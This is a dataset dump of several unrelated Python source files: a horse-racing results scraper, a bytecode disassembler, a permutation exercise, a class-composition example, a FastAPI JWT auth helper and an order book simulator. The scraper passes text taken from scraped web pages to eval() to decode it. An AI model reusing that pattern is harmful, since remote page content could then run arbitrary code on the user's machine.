datetime.datetime.today().month\n\n#for y in [2015,2016,2017]: # 競走馬が走るのは2歳から4歳位なので、3年分で十分\nfor y in [2016,2017,2018]:\n\tfor m in range(1,13):\n\t\tif y == today_year and m >= today_month:\n\t\t\tbreak\n\t\t\t\n\t\tc = calendar.monthcalendar(y, m)\n\t\tdays = [x[calendar.SUNDAY] for x in c]\n\t\tdays.extend([x[calendar.SATURDAY] for x in c])\n\n\t\tfor d in days:\n\t\t\turl = '/race/list/%d%02d%02d/'%(y,m,d)\n\t\t\turl_list.append((url, '%d%02d%02d'%(y,m,d)))\n\t\t\n\t\tfor d in range(1,32):\n\t\t\ts = '%d%02d%02d/'%(y,m,d)\n\t\t\tif s in holidays:\n\t\t\t\turl = '/race/list/%d%02d%02d/'%(y,m,d)\n\t\t\t\turl_list.append((url, '%d%02d%02d'%(y,m,d)))\n\ndef get_odds_str(a, num):\n\tif num == 1:\n\t\tif a.string and len(a.string) > 0:\n\t\t\treturn a.string.replace(u',', '').replace(u'\\\\xe5\\\\x86\\\\x86', '')\n\t\telse:\n\t\t\treturn '0'\n\telse:\n\t\tif a.contents and len(a.contents) == num * 2 - 1:\n\t\t\tr = []\n\t\t\tfor i in range(num):\n\t\t\t\tr.append(str(a.contents[i * 2]).replace(u',', '').replace(u'\\\\xe5\\\\x86\\\\x86', ''))\n\t\t\treturn r\n\t\telse:\n\t\t\tr = []\n\t\t\tfor i in range(int((len(a.contents)+1) / 2)):\n\t\t\t\tr.append(str(a.contents[i * 2]).replace(u',', '').replace(u'\\\\xe5\\\\x86\\\\x86', ''))\n\t\t\tfor j in range(num - len(r)):\n\t\t\t\tr.append('0')\n\t\t\treturn r\n\ndef get_odds_str_c(a, num):\n\tif a and len(a) > 0 and a[0].parent:\n\t\ta = a[0].parent.find_all('td')\n\telse:\n\t\ta = None\n\tif a and len(a) >= 2:\n\t\treturn get_odds_str(a[1], num)\n\telse:\n\t\tif num == 1:\n\t\t\treturn '0'\n\t\telse:\n\t\t\treturn ['0']*num\n\n# タイムアウトを設定\nsocket.setdefaulttimeout(10)\n\nfor url, datestr in url_list:\n\twith urllib.request.urlopen(url_base+url) as response:\n\t\t# URLから読み込む\n\t\thtml = str(response.read())\n\t\t# ギャラリー表示部分のタグを取得する\n\t\trace = re.findall(\\\n\t\t\tr'= 1:\n\t\t\t\text = str(spans[0].string).split('m')\n\t\t\t\thg = eval('b\"{}\"'.format(ext[0][0:-4])).decode('EUC_JP')\n\t\t\t\tl = ext[0][-4:] # 距離\n\t\t\t\tbr = hg[0:1] # ダ 芝 障\n\t\t\t\tt = ext[1][22:30] # 天気\n\t\t\t\ttr = eval('b\"{}\"'.format(t)).decode('EUC_JP')\n\t\t\t\tif tr == '小':\n\t\t\t\t\ttr = '小雨'\n\t\t\t\texstr = br+'|'+l+'|'+tr # 馬場距離天気\n\t\t\t# オッズ\n\t\t\tpaystr = ''\n\t\t\tpays = soup.find_all('table', 'pay_table_01')\n\t\t\tpays_all = pays[0].find_all('th', 'tan')\n\t\t\tpaystr += get_odds_str_c(pays_all,1) + ':' # 単勝\n\t\t\tpays_all = pays[0].find_all('th', 'fuku')\n\t\t\tpaystr += '_'.join(get_odds_str_c(pays_all,3)) + ':' # 複勝\n\t\t\tpays_all = pays[0].find_all('th', 'waku')\n\t\t\tpaystr += get_odds_str_c(pays_all,1) + ':' # 枠連\n\t\t\tpays_all = pays[0].find_all('th', 'uren')\n\t\t\tpaystr += get_odds_str_c(pays_all,1) + ':' # 馬連\n\t\t\tpays_all = pays[1].find_all('th', 'wide')\n\t\t\tpaystr += '_'.join(get_odds_str_c(pays_all,3)) + ':' # ワイド\n\t\t\tpays_all = pays[1].find_all('th', 'utan')\n\t\t\tpaystr += get_odds_str_c(pays_all,1) + ':' # 馬単\n\t\t\tpays_all = pays[1].find_all('th', 'sanfuku')\n\t\t\tpaystr += get_odds_str_c(pays_all,1) + ':' # 三連複\n\t\t\tpays_all = pays[1].find_all('th', 'santan')\n\t\t\tpaystr += get_odds_str_c(pays_all,1) # 三連単\n\t\t\t# タイトル\n\t\t\trace_title = re.sub(r'[\\s]|(-.*$)', '', tl).replace(u'|', '|')\n\t\t\trace_title = '|'.join(race_title.split('|')[0:1])\n\t\t\trace_title += '|' + where + '|' + exstr + '|' + paystr + '|' + datestr\n\t\t\trace_results = [race_title]\n\t\t\ttable = soup.find('table', 'race_table_01')\n\t\t\trows = table.find_all('tr')\n\t\t\tbef_r = '1'\n\t\t\tfor row in rows:\n\t\t\t\ttd = row.find_all('td')\n\t\t\t\tif len(td) > 10:\n\t\t\t\t\thr = eval('b\"{}\"'.format(str(td[3].find('a').string))).decode('EUC_JP')\n\t\t\t\t\tjk = eval('b\"{}\"'.format(str(td[6].find('a').string))).decode('EUC_JP')\n\t\t\t\t\thr = hr.replace(u'(地)', '').replace(u'[地]', '').replace(u'(外)', '').replace(u'[外]', '')\n\t\t\t\t\tjk = jk.replace(u'▲', '').replace(u'☆', '').replace(u'△', '')\n\t\t\t\t\tif jk == 'Mデムーロ':\n\t\t\t\t\t\tjk = 'M.デム'\n\t\t\t\t\tif jk == 'Cデムーロ':\n\t\t\t\t\t\tjk = 'C.デム'\n\t\t\t\t\tif jk == 'Cルメール':\n\t\t\t\t\t\tjk = 'ルメール'\n\t\t\t\t\tif jk == 'Vシュミノ':\n\t\t\t\t\t\tjk = 'シュミノ'\n\t\t\t\t\tif jk == 'Hボウマン':\n\t\t\t\t\t\tjk = 'ボウマン'\n\t\t\t\t\tif jk == 'Fベリー':\n\t\t\t\t\t\tjk = 'ベリー'\n\t\t\t\t\tif jk == 'Gブノワ':\n\t\t\t\t\t\tjk = 'ブノワ'\n\t\t\t\t\tif jk == 'Aシュタル':\n\t\t\t\t\t\tjk = 'シュタル'\n\t\t\t\t\tif jk == 'Dバルジュ':\n\t\t\t\t\t\tjk = 'バルジュ'\n\t\t\t\t\tif jk == 'Dホワイト':\n\t\t\t\t\t\tjk = 'ホワイト'\n\t\t\t\t\tif jk == 'Rムーア':\n\t\t\t\t\t\tjk = 'ムーア'\n\t\t\t\t\tif jk == 'Kティータ':\n\t\t\t\t\t\tjk = 'ティータ'\n\t\t\t\t\tif jk == 'Aクラスト':\n\t\t\t\t\t\tjk = 'クラスト'\n\t\t\t\t\tif jk == 'Aアッゼニ':\n\t\t\t\t\t\tjk = 'アッゼニ'\n\t\t\t\t\tif jk == 'Bプレブル':\n\t\t\t\t\t\tjk = 'プレブル'\n\t\t\t\t\tif jk == 'Cウィリア':\n\t\t\t\t\t\tjk = 'ウィリア'\n\t\t\t\t\tif jk == 'Cパリッシ':\n\t\t\t\t\t\tjk = 'パリッシ'\n\t\t\t\t\tif jk == 'Dポルク':\n\t\t\t\t\t\tjk = 'ポルク'\n\t\t\t\t\tif jk == 'Dマクドノ':\n\t\t\t\t\t\tjk = 'マクドノ'\n\t\t\t\t\tif jk == 'Eウィルソ':\n\t\t\t\t\t\tjk = 'ウィルソ'\n\t\t\t\t\tif jk == 'Eダシルヴ':\n\t\t\t\t\t\tjk = 'ダシルヴ'\n\t\t\t\t\tif jk == 'Fミナリク':\n\t\t\t\t\t\tjk = 'ミナリク'\n\t\t\t\t\tif jk == 'Fヴェロン':\n\t\t\t\t\t\tjk = 'ヴェロン'\n\t\t\t\t\tif jk == 'Gモッセ':\n\t\t\t\t\t\tjk = 'モッセ'\n\t\t\t\t\tif jk == 'Hターナー':\n\t\t\t\t\t\tjk = 'ターナー'\n\t\t\t\t\tif jk == 'Iファーガ':\n\t\t\t\t\t\tjk = 'ファーガ'\n\t\t\t\t\tif jk == 'Jモレイラ':\n\t\t\t\t\t\tjk = 'モレイラ'\n\t\t\t\t\tif jk == 'Jスペンサ':\n\t\t\t\t\t\tjk = 'スペンサ'\n\t\t\t\t\tif jk == 'Kマカヴォ':\n\t\t\t\t\t\tjk = 'マカヴォ'\n\t\t\t\t\tif jk == 'Kマリヨン':\n\t\t\t\t\t\tjk = 'マリヨン'\n\t\t\t\t\tif jk == 'Lオールプ':\n\t\t\t\t\t\tjk = 'オールプ'\n\t\t\t\t\tif jk == 'Lコントレ':\n\t\t\t\t\t\tjk = 'コントレ'\n\t\t\t\t\tif jk == 'Mデュプレ':\n\t\t\t\t\t\tjk = 'デュプレ'\n\t\t\t\t\tif jk == 'Mバルザロ':\n\t\t\t\t\t\tjk = 'バルザロ'\n\t\t\t\t\tif jk == 'Pブドー':\n\t\t\t\t\t\tjk = 'ブドー'\n\t\t\t\t\tif jk == 'Rベイズ':\n\t\t\t\t\t\tjk = 'ベイズ'\n\t\t\t\t\tif jk == 'Sパスキエ':\n\t\t\t\t\t\tjk = 'パスキエ'\n\t\t\t\t\tif jk == 'Sフォーリ':\n\t\t\t\t\t\tjk = 'フォーリ'\n\t\t\t\t\tif jk == 'Tベリー':\n\t\t\t\t\t\tjk = 'ベリー'\n\t\t\t\t\tif jk == 'Tジャルネ':\n\t\t\t\t\t\tjk = 'ジャルネ'\n\t\t\t\t\tif jk == 'Tクウィリ':\n\t\t\t\t\t\tjk = 'クウィリ'\n\t\t\t\t\tif jk == 'Zパートン':\n\t\t\t\t\t\tjk = 'パートン'\n\t\t\t\t\tif jk == '竹之下智昭':\n\t\t\t\t\t\tjk = '竹之下智'\n\t\t\t\t\tif jk == '石川裕紀人':\n\t\t\t\t\t\tjk = '石川裕紀'\n\t\t\t\t\tif jk == '五十嵐雄祐':\n\t\t\t\t\t\tjk = '五十嵐雄'\n\t\t\t\t\tif jk == '野中悠太郎':\n\t\t\t\t\t\tjk = '野中悠太'\n\t\t\t\t\tif jk == '藤田菜七子':\n\t\t\t\t\t\tjk = '藤田菜七'\n\t\t\t\t\tif jk == '武士沢友治':\n\t\t\t\t\t\tjk = '武士沢友'\n\t\t\t\t\tif jk == '西田雄一郎':\n\t\t\t\t\t\tjk = '西田雄一'\n\t\t\t\t\tif jk == '小野寺祐太':\n\t\t\t\t\t\tjk = '小野寺祐'\n\t\t\t\t\tif jk == '佐久間寛志':\n\t\t\t\t\t\tjk = '佐久間寛'\n\t\t\t\t\tif jk == '五十嵐冬樹':\n\t\t\t\t\t\tjk = '五十嵐冬'\n\t\t\t\t\tif jk == '秋山真一郎':\n\t\t\t\t\t\tjk = '秋山真一'\n\t\t\t\t\tif jk == '竹之下智昭':\n\t\t\t\t\t\tjk = '竹之下智'\n\t\t\t\t\tif jk == '藤井勘一郎':\n\t\t\t\t\t\tjk = '藤井勘一'\n\t\t\t\t\tif jk == '浜野谷憲尚':\n\t\t\t\t\t\tjk = '浜野谷憲'\n\t\t\t\t\tif jk == '御神本訓史':\n\t\t\t\t\t\tjk = '御神本訓'\n\t\t\t\t\tif jk == '山本咲希到':\n\t\t\t\t\t\tjk = '山本咲希'\n\t\t\t\t\tif jk == '佐々木国明':\n\t\t\t\t\t\tjk = '佐々木国'\n\t\t\t\t\tif jk == '三津谷隼人':\n\t\t\t\t\t\tjk = '三津谷隼'\n\t\t\t\t\tr = str(td[0].string)\n\t\t\t\t\tr = r.replace('\\\\xe5\\\\x8f\\\\x96\\\\xe6\\\\xb6\\\\x88', '16')\n\t\t\t\t\tr = r.replace('\\\\xe9\\\\x99\\\\xa4\\\\xe5\\\\xa4\\\\x96', '16')\n\t\t\t\t\tr = r.replace('\\\\xe4\\\\xb8\\\\xad\\\\xe6\\\\xad\\\\xa2', '14')\n\t\t\t\t\tif r.startswith('\\\\x'):\n\t\t\t\t\t\tr = str(int(bef_r)+1)\n\t\t\t\t\tbef_r = r\n\t\t\t\t\tresult = (r,hr,jk)\n\t\t\t\t\trace_results.append('|'.join(result))\n\t\t\tcsvwriter.writerow(race_results)\n","repo_name":"cocon-ai-group/turf-tipster","sub_path":"scraping/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":9720,"program_lang":"python","lang":"ja","doc_type":"code","stars":43,"dataset":"github-code","pt":"50"} +{"seq_id":"31101708666","text":"\nimport sys\nimport types\n\nfrom bytecode_tools.common import opcodes\nfrom bytecode_tools.common.constants import PY_VERSION\n\n\n# These are fixed as per Cpython's Lib/dis.py\n_OPNAME_WIDTH = 20\n_OPARG_WIDTH = 5\n\n_have_code = (types.MethodType, types.FunctionType, types.CodeType,\n classmethod, staticmethod, type)\n\n\nclass DecodeCodeObject:\n \"\"\"Decode code object\"\"\"\n\n def __init__(\n self,\n code_object,\n last_instruction=-1,\n python_version=None,\n file=None):\n\n self.code_object = code_object\n self.code = code_object.co_code\n self.constants = code_object.co_consts\n self.names = code_object.co_names\n self.varnames = code_object.co_varnames\n self.freevars = code_object.co_cellvars + code_object.co_freevars\n self.file = file\n\n # If no python version passed then, the current interpreter verion\n # will be used.\n self.python_version = python_version if python_version else PY_VERSION\n self.last_instruction = last_instruction\n\n # Generate opcode classes and mapper for given python version.\n opcodes.OpcodeClassFactory.gen_opcode_classes(\n python_version=self.python_version)\n\n self.labels = None\n self.linestarts = None\n self.reader = (\n self._unpack_wordcode\n if self.python_version >= 3.6\n else self._unpack_bytecode\n )\n\n @staticmethod\n def _disassemble(\n instruction,\n lineno_width=3,\n mark_as_current=False,\n offset_width=4):\n \"\"\"Format instruction details for inclusion in disassembly output\n\n *lineno_width* sets the width of the line number field (0 omits it)\n *mark_as_current* inserts a '-->' marker arrow as part of the line\n *offset_width* sets the width of the instruction offset field\n \"\"\"\n fields = []\n # Column: Source code line number\n if lineno_width:\n if instruction.line is not None:\n lineno_fmt = \"%%%dd\" % lineno_width\n fields.append(lineno_fmt % instruction.line)\n else:\n fields.append(' ' * lineno_width)\n # Column: Current instruction indicator\n if mark_as_current:\n fields.append('-->')\n else:\n fields.append(' ')\n # Column: Jump target marker\n if instruction.is_jump_target:\n fields.append('>>')\n else:\n fields.append(' ')\n # Column: Instruction offset from start of code sequence\n fields.append(repr(instruction.offset).rjust(offset_width))\n # Column: Opcode name\n fields.append(instruction.OPCODE_NAME.ljust(_OPNAME_WIDTH))\n # Column: Opcode argument\n if instruction.arg is not None:\n fields.append(repr(instruction.arg).rjust(_OPARG_WIDTH))\n # Column: Opcode argument details\n if instruction.arg_repr:\n fields.append('(' + instruction.arg_repr + ')')\n return ' '.join(fields).rstrip()\n\n def disassemble(self, line_offset=0):\n \"\"\"Disassembler\"\"\"\n # Omit the line number column entirely if we have no line number info\n\n unpacked_code = self.unpack_code()\n show_lineno = self.linestarts is not None\n if show_lineno:\n maxlineno = max(self.linestarts.values()) + line_offset\n if maxlineno >= 1000:\n lineno_width = len(str(maxlineno))\n else:\n lineno_width = 3\n else:\n lineno_width = 0\n maxoffset = len(self.code) - 2\n if maxoffset >= 10000:\n offset_width = len(str(maxoffset))\n else:\n offset_width = 4\n\n for instr in unpacked_code:\n new_source_line = (show_lineno and\n instr.line is not None and\n instr.offset > 0)\n if new_source_line:\n print('')\n is_current_instr = instr.offset == self.last_instruction\n print(\n self._disassemble(instr, lineno_width, is_current_instr, offset_width)\n )\n\n def _get_const_info(self, const_index):\n \"\"\"Helper to get optional details about const references\n\n Returns the dereferenced constant and its repr if the constant\n list is defined.\n Otherwise returns the constant index and its repr().\n \"\"\"\n argval = const_index\n if self.constants is not None:\n argval = self.constants[const_index]\n return argval, repr(argval)\n\n @staticmethod\n def _get_name_info(name_index, name_list):\n \"\"\"Helper to get optional details about named references\n\n Returns the dereferenced name as both value and repr if the name\n list is defined.\n Otherwise returns the name index and its repr().\n \"\"\"\n argval = name_index\n if name_list is not None:\n argval = name_list[name_index]\n argrepr = argval\n else:\n argrepr = repr(argval)\n return argval, argrepr\n\n def line_no_table(self):\n \"\"\"co_lnotab is an array of unsigned bytes, which holds differences in\n bytecode and line number increments or decrements with the previous\n instruction.\n\n Line number table is a map with the byte position to the line poition in the\n source code. I.e.\n\n Byte: Byte code offset\n Line: Source code line number\n\n Byte - Line\n ----- -----\n 0 1\n 3 2\n 10 3\n 44 25\n 366 64\n 390 298\n\n This code line map says, the line 1 started at byte 0 and line 2 at byte 3..\n\n But the actual line number map holds the differences not the actual numbers,\n this way we compress the array and store values near to a signed byte value.\n\n for the above byte line source the actual table looks like ........\n\n I.e: First line always starts at byte 0.\n\n Byte - Line\n ----- -----\n 0 1\n 3 1\n 7 1\n 34 22\n 322 39\n 24 234\n\n Ideally with the differences the byte code should have a table like..\n\n 0 1 3 1 7 1 34 22 322 39 24 234\n\n But, byte code offset is a unsigned byte, this means it should not have\n value more than 255, and the line number is a signed byte, this means line\n number increment should not have value more than 127 and less than -128.\n\n WHAT IF the byte increment goes beyond 255 ?\n\n In the above example, we've one instance where the byte offset is more\n than 255.\n\n Byte: Line\n ---- ----\n 322 39\n\n Since 322 is not in signed byte range 0 to 255, it has to be converted to\n multiple instructions, like below....\n\n Byte Line\n ---- -----\n 255 0\n 77 39\n\n The byte line map becomes, like below...\n\n 0 1 3 1 7 1 34 22 255 0 77 39 24 234\n\n WHAT IF line number increment is > 127 or < -128 ?\n\n In the above example, we've an instance where the line incrementis more\n than 127.\n\n Byte: Line\n ---- ----\n 24 234\n\n Since 234 is not in unsigned byte range -128 to 127, it has to be converted\n to multiple instructions, like below....\n\n Byte Line\n ---- -----\n 0 127\n 24 97\n\n Finally the byte line map becomes, like below...\n\n 0 1 3 1 7 1 34 22 255 0 77 39 0 127 24 97\n \"\"\"\n addr = 0 # Address start with byte index zero.\n last_lineno = None\n\n lineno = self.code_object.co_firstlineno\n byte_increments = self.code_object.co_lnotab[0::2]\n line_increments = self.code_object.co_lnotab[1::2]\n\n for byte_incr, line_incr in zip(byte_increments, line_increments):\n # No byte increment means, it's helping instruction for satsifying\n # line increment signed byte range as explained above.\n byte_incr = (\n ord(byte_incr) if isinstance(byte_incr, str) else byte_incr)\n line_incr = (\n ord(line_incr) if isinstance(line_incr, str) else line_incr)\n if byte_incr:\n\n # If current line and last line numbers match, this means that it's\n # a helping instruction for satsifying byte offset unsigned byte\n # range as explained above.\n if last_lineno != lineno:\n yield (addr, lineno)\n last_lineno = lineno\n addr += byte_incr\n\n # Line increments are 8 bit signed integers, if the number is gone\n # below 0, it should be stored somehow between 0 to 255 range of byte\n # line map array.\n # If the value is negative ( < 0), it will be stored as 256 - val\n # I.e: if the line increment is -10, the line map array stores it as\n #. 256 - 10 --> 246\n #\n # If line increment more than 128, we should do line_incr - 256 to get\n # the actual value.\n # Le's say if the line_incr is 246, then it should be 246 - 256 -> -10\n if line_incr >= 0x80:\n line_incr -= 0x100\n lineno += line_incr\n\n if last_lineno != lineno:\n yield(addr, lineno)\n\n def findlabels(self, unpacked_code=None):\n \"\"\"Jump target label finder.\"\"\"\n labels = []\n if unpacked_code is None:\n unpacked_code = self.reader()\n\n for offset, _, op_code, arg in unpacked_code:\n if arg:\n if op_code.has_jrel():\n target = offset + 2 + arg\n elif op_code.has_jabs():\n target = arg\n else:\n continue\n\n if target not in labels:\n labels.append(target)\n return labels\n\n def unpack_code(self):\n \"\"\"Unpack the bytecode\"\"\"\n self.labels = self.findlabels(unpacked_code=self.reader())\n self.linestarts = dict(self.line_no_table())\n\n instruction_list = []\n for offset, end, op_code, arg in self.reader():\n argval = None\n argrepr = ''\n line_start = self.linestarts.get(offset, None)\n is_jump_target = offset in self.labels\n if not arg is None:\n argval = arg\n if op_code.has_const():\n argval, argrepr = self._get_const_info(arg)\n elif op_code.has_name():\n argval, argrepr = self._get_name_info(arg, self.names)\n elif op_code.has_local():\n argval, argrepr = self._get_name_info(arg, self.varnames)\n elif op_code.has_free():\n argval, argrepr = self._get_name_info(arg, self.freevars)\n elif op_code.has_cmp():\n argval = opcodes.CMP_OP[arg]\n argrepr = repr(argval)\n elif op_code.is_make_function():\n argrepr = ', '.join(\n s for i, s in enumerate(opcodes.MAKE_FUNCTION_FLAGS)\n if arg & (1<\",w2)\n return\n for i in range(len(w1)):\n c = w1[i:i+1]\n #print(i,c)\n w1p = w1[0:i]+w1[i+1:len(w1)]\n #print(\"c,w1\",c,w1)\n w2p=w2+c\n perm1(w1p,w2p)\n\nperm1('abcd','')\n\n \n ","repo_name":"vinesh2011/udacity_cs215","sub_path":"perm.py","file_name":"perm.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10643319743","text":"# Создайте классы Horse и Rider. Используйте композицию,\r\n# чтобы смоделировать лошадь с всадником на ней\r\n#\r\nclass Horse():\r\n def __init__(self, h_name, rider): # Имя лошади и всадника\r\n self.h_name = h_name\r\n self.rider =rider\r\n\r\nclass Rider():\r\n def __init__(self, name):\r\n self.name = name\r\n\r\npol = Rider('Pol Maslov') # Создали всадника(экземпляр класса)\r\nblack = Horse('Blacky', pol) # лошадке дали наездника в переменной\r\nprint(black.rider.name) # атрибутом name из класса Rider получили\r\n # имя всадника лошадки Blacky из класса Horse\r\n # КОМПОЗИЦИЯ!\r\n","repo_name":"SavageS5/self_programmer","sub_path":"13-4.py","file_name":"13-4.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"18321585798","text":"from fastapi import Request, HTTPException, status, Depends\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy import select\nfrom jose import jwt, JWTError\n\nfrom . import bad_responses as br\nfrom .models import User\nfrom app.settings import log, settings\nfrom app.database.base import get_async_session\n\n\nasync def get_current_user(\n request: Request,\n session: AsyncSession = Depends(get_async_session)\n) -> User:\n \"\"\" Получить объект пользователя из БД, выполневшего запрос. \"\"\"\n error = HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=br.AuthenticationRequired().dict(),\n )\n # Получение токена авторизации из запроса\n try:\n token = request._headers.get('authorization').split(' ')[1]\n\n except Exception as e:\n log.error(f'Authorization required. {e}')\n raise error\n\n # Расшифровка токена\n try:\n token_data = jwt.decode(\n token,\n key=settings.JWT_SECRET,\n algorithms=[settings.JWT_ALGORITHM]\n )\n\n except JWTError as e:\n log.error(f'Invalid token {e}')\n raise error\n\n try:\n user_id = token_data['user_id']\n query = select(User).where(User.id == user_id)\n result = await session.execute(query)\n user = result.scalars().first()\n\n if not user:\n raise\n\n except Exception as e:\n log.error(f'Cant get from DB {e}')\n raise error\n\n return user\n","repo_name":"TemaKut/TaP","sub_path":"backend/app/api/users/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"43612820659","text":"import bisect, datetime, json\n\n\ndef current_timestamp():\n\tts = str(datetime.datetime.utcnow().isoformat())\t\t# Thanks to medecau for this\n\treturn ts\n\t\n\nclass Order (dict):\n\tdef __init__(self, **kwargs):\n\t\tsuper().__init__(**kwargs)\n\t\n\t# All the comparisons are just for bisection insorting. Order should compare lower if it has higher\n\t# priority, which is confusing but whatever. It means high priority orders are sorted first.\n\t\n\tdef __eq__(self, other):\n\t\tif self[\"price\"] == other[\"price\"] and self[\"ts\"] == other[\"ts\"]:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\n\tdef __lt__(self, other):\n\t\tif self[\"direction\"] == \"buy\":\n\t\t\tif self[\"price\"] > other[\"price\"]:\t\t# We beat the other price, so we are \"less\" (low is better)\n\t\t\t\treturn True\n\t\t\telif self[\"price\"] < other[\"price\"]:\t# Other price beats us, so we are \"more\" (high is worse)\n\t\t\t\treturn False\n\t\t\telif self[\"ts\"] < other[\"ts\"]:\t\t\t# Our order was first, so we are \"less\" (low is better)\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\telse:\n\t\t\tif self[\"price\"] < other[\"price\"]:\t\t# We beat the other price, so we are \"less\" (low is better)\n\t\t\t\treturn True\n\t\t\telif self[\"price\"] > other[\"price\"]:\t# Other price beats us, so we are \"more\" (high is worse)\n\t\t\t\treturn False\n\t\t\telif self[\"ts\"] < other[\"ts\"]:\t\t\t# Our order was first, so we are \"less\" (low is better)\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\n\tdef __le__(self, other):\n\t\tif self < other or self == other:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\n\tdef __gt__(self, other):\n\t\tif self <= other:\n\t\t\treturn False\n\t\telse:\n\t\t\treturn True\n\t\n\tdef __ge__(self, other):\n\t\tif self > other or self == other:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\n\tdef __ne__(self, other):\n\t\tif not self == other:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\t# This is the actual meat of the trade-making algorithm...\n\t\n\tdef standing_cross(self, other, timestamp, book):\t\t# Meaning this object is the standing order\n\t\tquantity = min(self[\"qty\"], other[\"qty\"])\n\t\tself[\"qty\"] -= quantity\n\t\tself[\"totalFilled\"] += quantity\n\t\tother[\"qty\"] -= quantity\n\t\tother[\"totalFilled\"] += quantity\n\n\t\tbook.last_trade_time = timestamp\n\t\tbook.last_trade_price = self[\"price\"]\n\t\tbook.last_trade_size = quantity\n\t\t\n\t\tfill = dict(price = self[\"price\"], qty = quantity, ts = timestamp)\n\t\t\n\t\tfor o in self, other:\n\t\t\to[\"fills\"].append(fill)\n\t\t\tif o[\"qty\"] == 0:\n\t\t\t\to[\"open\"] = False\n\n\n# For the orderbook itself, the general plan is to keep a list of bids and a list of asks,\n# always *kept* sorted (never sorted as a whole), with the top priority order first in line.\n# Incoming orders can then just iterate through the list until they're finished crossing.\n\nclass OrderBook ():\n\tdef __init__(self, venue, symbol):\n\t\tself.venue = str(venue)\n\t\tself.symbol = str(symbol)\n\t\tself.bids = []\n\t\tself.asks = []\n\t\tself.id_lookup_table = dict()\t\t\t# order id ---> order object\n\t\tself.account_order_lists = dict()\t\t# account name ---> list of order objects\n\t\tself.next_id = 0\n\t\tself.quote = dict()\n\t\tself.last_trade_time = None\n\t\tself.last_trade_price = None\n\t\tself.last_trade_size = None\n\n\n\tdef account_from_order_id(self, id):\n\t\ttry:\n\t\t\treturn self.id_lookup_table[int(id)][\"account\"]\n\t\texcept KeyError:\n\t\t\treturn None\n\n\n\tdef cleanup_closed_orders(self):\t\t# This is cute but is it fast?... If improving this later, remember\n\t\tself.bids = [bid for bid in self.bids if bid[\"open\"]]\t\t# that cancels can call this, meaning that\n\t\tself.asks = [ask for ask in self.asks if ask[\"open\"]]\t\t# closed orders could be anywhere.\n\t\n\n\tdef get_book(self):\n\t\tret = dict()\n\t\tret[\"ok\"] = True\n\t\tret[\"venue\"] = self.venue\n\t\tret[\"symbol\"] = self.symbol\n\t\tret[\"bids\"] = [{\"price\" : order[\"price\"], \"qty\": order[\"qty\"], \"isBuy\": True} for order in self.bids]\n\t\tret[\"asks\"] = [{\"price\" : order[\"price\"], \"qty\": order[\"qty\"], \"isBuy\": False} for order in self.asks]\n\t\tret[\"ts\"] = current_timestamp()\n\t\treturn ret\n\t\n\t\n\tdef get_status(self, id):\n\t\treturn self.id_lookup_table[int(id)]\n\t\n\t\n\tdef get_all_orders(self, account):\n\t\tif account in self.account_order_lists:\n\t\t\treturn {\"ok\" : True, \"venue\" : self.venue, \"orders\" : self.account_order_lists[account]}\n\t\telse:\n\t\t\treturn {\"ok\" : True, \"venue\" : self.venue, \"orders\" : []}\n\t\n\n\tdef get_quote(self):\n\t\tself.set_quote()\n\t\treturn self.quote\n\t\n\n\tdef set_quote(self):\t\t\t\t\t# Could optimise (?) by changing everything every\n\t\tself.quote[\"ok\"] = True\t\t\t\t# fill, but is that really faster in practice?\n\t\tself.quote[\"venue\"] = self.venue\n\t\tself.quote[\"symbol\"] = self.symbol\n\t\t\n\t\tif self.bids:\n\t\t\tself.quote[\"bidDepth\"] = self.bid_depth()\n\t\t\tself.quote[\"bidSize\"] = self.bid_size()\n\t\t\tself.quote[\"bid\"] = self.bids[0][\"price\"]\n\t\telse:\n\t\t\tself.quote[\"bidDepth\"] = 0\n\t\t\tself.quote[\"bidSize\"] = 0\n\t\t\tif \"bid\" in self.quote:\n\t\t\t\tself.quote.pop(\"bid\")\n\t\t\n\t\tif self.asks:\n\t\t\tself.quote[\"askDepth\"] = self.ask_depth()\n\t\t\tself.quote[\"askSize\"] = self.ask_size()\n\t\t\tself.quote[\"ask\"] = self.asks[0][\"price\"]\n\t\telse:\n\t\t\tself.quote[\"askDepth\"] = 0\n\t\t\tself.quote[\"askSize\"] = 0\n\t\t\tif \"ask\" in self.quote:\n\t\t\t\tself.quote.pop(\"ask\")\n\t\t\n\t\tif self.last_trade_price is not None:\n\t\t\tself.quote[\"last\"] = self.last_trade_price\n\t\t\tself.quote[\"lastSize\"] = self.last_trade_size\n\t\t\tself.quote[\"lastTrade\"] = self.last_trade_time\n\t\t\n\t\tself.quote[\"quoteTime\"] = current_timestamp()\n\n\t\t\n\tdef bid_size(self):\n\t\tif len(self.bids) == 0:\n\t\t\treturn 0\n\t\tret = 0\n\t\tbestprice = self.bids[0][\"price\"]\n\t\tfor order in self.bids:\n\t\t\tif order[\"price\"] == bestprice:\n\t\t\t\tret += order[\"qty\"]\n\t\t\telse:\n\t\t\t\tbreak\n\t\treturn ret\n\n\t\t\n\tdef ask_size(self):\n\t\tif len(self.asks) == 0:\n\t\t\treturn 0\n\t\tret = 0\n\t\tbestprice = self.asks[0][\"price\"]\n\t\tfor order in self.asks:\n\t\t\tif order[\"price\"] == bestprice:\n\t\t\t\tret += order[\"qty\"]\n\t\t\telse:\n\t\t\t\tbreak\n\t\treturn ret\n\n\t\t\n\tdef bid_depth(self):\t\t\t# Could optimise by just storing this whenever it changes\n\t\tret = 0\n\t\tfor order in self.bids:\n\t\t\tret += order[\"qty\"]\n\t\treturn ret\n\n\t\n\tdef ask_depth(self):\t\t\t# Could optimise by just storing this whenever it changes\n\t\tret = 0\n\t\tfor order in 